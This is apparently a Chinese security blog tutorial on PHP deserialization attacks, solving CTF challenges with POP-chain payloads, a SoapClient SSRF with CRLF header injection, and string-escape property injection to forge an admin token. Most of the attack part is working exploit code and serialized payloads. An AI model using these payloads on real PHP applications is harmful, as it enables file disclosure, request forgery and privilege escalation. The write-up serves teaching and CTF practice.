unserialize()之前没有进行相应的过滤会产生漏洞,因为PHP允许对象序列化,攻击者就可以提交特定的序列化字符串给一个具有相应漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。unserialize的参数可控<?phpclass A{var $name = "tide";function __destruct(){echo $this->test;}}$a = 'O:1:"A":1:{s:4:"name";s:4:"tide";}';unserialize($a);
__destruct函数,同时会覆盖test变量,输出tide。Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new Show;highlight_file(__FILE__);}
__construct 当一个对象创建时被调用,__toString 当一个对象被当作一个字符串被调用。__wakeup() 使用unserialize时触发__get() 用于从不可访问的属性读取数据#难以访问包括:(1)私有属性,(2)没有初始化的属性__invoke() 当脚本尝试将对象调用为函数时触发
Modifier::__invoke()<--Test::__get()<--Show::__toString()
<?phpclass Modifier {protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;}class Show{public $source;public $str;public function __construct($file){$this->source = $file;}public function __toString(){return "karsa";}}class Test{public $p;}$a = new Show('aaa');$a->str = new Test();$a->str->p = new Modifier();$b = new Show($a);echo urlencode(serialize($b));?>
nc -lvvp 4567
<?php$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:4567'));$b = serialize($a);$c = unserialize($b);$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
SOAPAction处使我们的可控参数,因此我们可以尝试在这里注入自己构造的CRLF,即插入**\r\n**<?php$a = new SoapClient(null,array('location'=>'http://127.0.0.1:4567', 'user_agent'=>"tide\r\nContent-Type:application/x-www-form-urlencoded\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));$b = serialize($a);$c = unserialize($b);$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
token=ctfshow还有xff请求头,所以构造的payload如下:<?php$post_string = "token=ctfshow";$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"aaaaaa\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));$b = serialize($a);echo urlencode($b);
X-Forwarded-For里需要两个127.0.0.1是因为docker环境的cloudfare代理导致的。O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22aaaaaa%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
;作为字段的分隔,以}作为结尾,并根据长度判断内容,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 02:37:19# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 16:05:38# @message.php# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';}highlight_file(__FILE__);
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 15:13:03# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 15:17:17# @email: h1xa@ctfer.com# @link: https://ctfer.com*/highlight_file(__FILE__);include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}}
fuck替换为loveU,也就是长度从4变成了5,可以操作的内容增加了一位,而且只要message类中的token值为admin,就会输出flag,所以payload如下:";s:5:"token";s:5:"admin";}
fuck来获取额外的27个长度,来满足我们的payload,所以最终构造的payload如下?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
\x00*\x00\x00*\x00也仍然会输出tide<?phpclass test{protected $a;public function __construct(){$this->a = 'tide';}public function __destruct(){echo $this->a;}}unserialize('O:4:"test":1:{s:1:"a";s:4:"tide";}');
__wakeup的执行。<?phpclass test{public $name;public $nickname;public function __construct(){$this->name = 'abc';$this->nickname= &$this->name;}}$a = serialize(new test());
$b设置为$a的引用,是$a永远与$b相等。O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}可以写成O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}表示字符类型的s大写时,会被当成16进制解析。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。